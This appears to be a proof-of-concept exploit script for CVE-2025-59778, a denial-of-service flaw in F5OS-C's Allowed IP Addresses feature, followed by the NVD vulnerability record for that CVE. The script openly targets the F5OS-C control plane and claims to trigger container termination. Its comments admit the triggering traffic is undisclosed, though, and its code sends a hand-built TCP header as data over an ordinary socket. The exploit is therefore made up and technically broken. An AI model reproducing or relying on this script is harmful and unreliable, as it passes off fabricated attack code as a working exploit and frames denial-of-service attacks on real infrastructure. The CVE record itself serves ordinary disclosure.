CVE-2025-59778

# CVE-2025-59778 PoC - F5OS-C Allowed IP Addresses DoS # Vulnerability: Container termination via Allowed IP Addresses feature # CVSS: 7.5 (HIGH) - AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H # Affected: F5OS-C partition control plane with Allowed IP Addresses enabled import socket import struct import random import time TARGET_HOST = "<target_f5os_c_host>" TARGET_PORT = 443 # F5OS-C partition control plane management port def craft_malicious_packet(): """ Craft a network packet targeting the Allowed IP Addresses feature in F5OS-C partition control plane to trigger container termination. The exact packet structure is not publicly disclosed, but the attack leverages malformed or unexpected traffic patterns to the control plane. """ # TCP SYN packet with crafted options to trigger the vulnerability src_port = random.randint(1024, 65535) seq_num = random.randint(0, 4294967295) ack_num = 0 # TCP header with unusual flag combinations data_offset = 5 # 20 bytes flags = 0x02 # SYN flag window = 65535 tcp_header = struct.pack('!HHIIBBHHH', src_port, TARGET_PORT, seq_num, ack_num, (data_offset << 4), flags, window, 0, # checksum (will be calculated by OS) 0 # urgent pointer ) # Craft payload that targets the Allowed IP Addresses parsing logic # The payload contains malformed IP address structures payload = b'\x00' * 64 return tcp_header + payload def exploit(): """ Send crafted packets to the F5OS-C partition control plane to trigger container termination. """ print(f"[*] Targeting F5OS-C host: {TARGET_HOST}:{TARGET_PORT}") print("[*] CVE-2025-59778 - Allowed IP Addresses DoS Exploit") for attempt in range(10): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) packet = craft_malicious_packet() sock.send(packet) print(f"[+] Attempt {attempt + 1}: Malicious packet sent") time.sleep(0.5) sock.close() except Exception as e: print(f"[-] Attempt {attempt + 1} failed: {e}") time.sleep(1) print("[*] Exploit complete. Check target for container termination.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-59778", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:54.903", "lastModified": "2025-10-22T21:01:54.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When the Allowed IP Addresses feature is configured on the F5OS-C partition control plane, undisclosed traffic can cause multiple containers to terminate.  \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndIncluding": "1.6.2", "matchCriteriaId": "CF2910A9-DD68-4E44-8805-3392DA88A297"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.8.0", "versionEndExcluding": "1.8.2", "matchCriteriaId": "EC50AAFB-DDD8-42B0-93DA-C8F6D9337EC8"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000151718", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}